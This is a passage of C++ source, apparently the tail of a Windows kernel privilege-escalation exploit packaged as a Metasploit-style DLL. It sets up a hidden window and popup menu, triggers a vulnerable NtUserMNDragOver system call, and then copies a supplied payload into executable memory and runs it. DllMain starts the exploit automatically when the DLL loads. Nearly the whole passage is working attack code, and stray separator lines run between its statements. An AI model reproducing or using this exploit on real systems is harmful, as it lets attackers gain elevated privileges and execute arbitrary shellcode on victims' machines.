// Create the class wndClass, set its window procedure to DefWindowProc(), and then create hWndMain using this class.
|
|
WNDCLASSEXA wndClass = { 0 };
|
|
wndClass.cbSize = sizeof(WNDCLASSEXA);
|
|
wndClass.lpfnWndProc = DefWindowProc;
|
|
wndClass.cbClsExtra = 0;
|
|
wndClass.cbWndExtra = 0;
|
|
wndClass.hInstance = hInst;
|
|
wndClass.lpszMenuName = 0;
|
|
wndClass.lpszClassName = "WNDCLASSMAIN";
|
|
RegisterClassExA(&wndClass);
|
|
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
|
|
if (hWndMain == NULL){
|
|
dprintf("[!] Was unable to create the window hWndMain! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
// Show the hMenuRoot popup menu.
|
|
if (TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL) == 0){
|
|
dprintf("[!] Was unable to display the hMenuRoot popup menu using TrackPopupMenuEx()! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
// Window message loop for handling window messages.
|
|
MSG msg = { 0 };
|
|
while (GetMessageW(&msg, NULL, 0, 0))
|
|
{
|
|
TranslateMessage(&msg);
|
|
DispatchMessageW(&msg);
|
|
|
|
// Ensure that the call to NtUserMNDragOver() is made only once
|
|
// the environment is set up correctly.
|
|
if (iMenuCreated >= 1) {
|
|
bDoneDrag = TRUE;
|
|
callNtUserMNDragOverSysCall(&pt, buf);
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Execute payload if and only if exploit succeeds.
|
|
if (success == FALSE) {
|
|
dprintf("[!] Exploit failed!\n");
|
|
return -1;
|
|
}
|
|
|
|
dprintf("[*] Exploit completed successfully!\n");
|
|
if (!pMsfPayload) {
|
|
dprintf("[!] No payload to execute!\n");
|
|
return -1;
|
|
}
|
|
|
|
LPVOID shellcode = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (!shellcode) {
|
|
dprintf("[!] Shellcode allocation failed!\n");
|
|
return -1;
|
|
}
|
|
memcpy(shellcode, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
|
|
((void(*)()) shellcode)();
|
|
return 0;
|
|
}
|
|
|
|
DWORD CALLBACK ExploitThread(LPVOID lpReserved)
|
|
{
|
|
exploit((PMSF_PAYLOAD)lpReserved);
|
|
return 0;
|
|
}
|
|
|
|
BOOL APIENTRY DllMain( HMODULE hModule,
|
|
DWORD ul_reason_for_call,
|
|
LPVOID lpReserved
|
|
)
|
|
{
|
|
switch (ul_reason_for_call)
|
|
{
|
|
case DLL_PROCESS_ATTACH:
|
|
CreateThread(NULL, 0, ExploitThread, lpReserved, 0, NULL);
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
case DLL_PROCESS_DETACH:
|
|
break;
|
|
}
|
|
return TRUE;
|
|
}
|